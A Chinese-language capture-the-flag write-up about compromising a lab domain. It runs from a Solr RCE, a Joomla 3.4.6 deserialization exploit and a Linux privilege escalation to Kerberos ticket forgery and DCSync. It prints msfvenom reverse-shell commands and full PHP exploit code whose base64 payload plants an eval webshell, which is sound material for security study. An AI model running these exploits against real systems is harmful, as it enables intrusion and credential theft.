iSoonLab.org Write-up

Linux1 - solr: 192.168.21.12

Linux2 - joomla!: 192.168.21.20

Backup.sub.iSoonLab.org: 192.168.21.8

subdc.sub.iSoonLab.org: 192.168.21.4 / 10.153.69.50

DC.iSoonLab.org: 10.153.69.5

Linux1

目标:192.168.121.131

开放8983端口,打开是solr未授权,8.1.1版本,联想到前段时间很火的Apache Solr RCE

https://www.freebuf.com/vuls/218730.html

根据网上的exp

http://192.168.121.131:8983/solr/admin/cores?wt=json&indexInfo=false

存在iSoon core

确实没问题,弹个shell到本机来

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf

因为solr用户没有/tmp目录写权限, 可以参考@haya大手子的 https://forum.90sec.com/t/topic/579

用perl来执行脚本

flag就在当前目录

当然,也可以在/var/tmp里写文件~

Linux2

简单侦查后,发现存在192.168.21.0/24网段

使用msf自带的sock4a作代理即可,Linux1只是用来撕来流量口子

代理内网后,发现同网段存在三台机器

找到Linux2 : 192.168.21.20, 开放HTTP端口

joomla-3.4.6版本,存在RCE,通过构造exp,拿到webshell

<?php
class JSimplepieFactory{

}

class JDatabaseDriverMysql{

}

class JDatabaseDriverMysqli
{
    protected $xx;
    protected $connection;
    protected $disconnectHandlers;
    protected $obj;
    function __construct()
    {
        $this->xx = new JSimplepieFactory();
        $this->connection = 1;
        $obj = new SimplePie;
        $this->disconnectHandlers = [
            [$obj, "init"],
        ];
    }
}

class SimplePie
{
    var $sanitize;
    var $cache_name_function;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "system('echo \'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\'| base64 -d | bash');JFactory::getConfig();exit;";
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
    }
}

$a = new JDatabaseDriverMysqli();
$ser = serialize($a);
echo $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
用户名:
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

密码:
MYP";s:2:"HS";O:21:"JDatabaseDriverMysqli":4:{s:5:"\0\0\0xx";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:149:"system('echo \'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\'| base64 -d | bash');JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:6:"\0\0\0obj";N;}

antsword连接后,在/tmp目录上传我们生成的msf木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.21.12 LPORT=6666 -f elf > shell2.elf

拿到shell后,查看uname

内核版本比较低的桌面版本,存在CVE-2019-13272

EXP需要满足三个条件:

  1. 内核版本 < 5.1.17 且为桌面版
  2. 存在/home/\
  3. 交互式shell

成功拿到第二个flag

Backup.sub.iSoonLab.org

回过来看web界面的提示

放出了下一步的hint,查看已经安装的软件和python第三方库

三条思路:

  1. 利用impacket和arpspoof进行中间人攻击

  2. 在本机上进行信息搜集,寻找到域成员机器的路子

  3. 系统漏洞 -> ms17010 .etc
  1. 中间人攻击使用ms15-014 和 ms15-011 进行组策略劫持,拿下域成员机器

  2. 翻机器的日志

  3. 有day上day~

###

简单方法:

通过 .bash_history 拿到mount命令,存有明文密码, 通过 exploit/windows/smb/psexec 即可拿到目标机器NT/SYSTEM

中间人测试也是可行的,使用MS15-011劫持组策略,只是需要等待组策略生效 (默认90分钟)

<懒狗不想截图了>

subdc.iSoonLab.org

在backup机子上的C:\Backup翻到了注册表的存档

下载下来使用secretsdump进行dump

拿到服务账户后,用来构造白银票据,攻击subdc.sub.iSoonLab.org

(MS14068也可)

(注意必须关闭Linux2中的arpspoof)

第四个flag到手~~

DC.iSoonLab.org

最后就很简单啦,子父域中常见的双向信任,我们可以通过构造信任票据来进行攻击

利用信任票据

http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/

这里有一点小问题: 当指定krbtgt账户时,因为子父域中存在两个krbtgt账户,DCsync转储时可能爆 NOT_UNIQUE ,可以使用/all解决

利用dcsync 转储子域的所有hash

使用/Ptt 进行信任票据传递即可

拿到域控权限,flag在C:\Users\Administraotr\flag.txt中

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章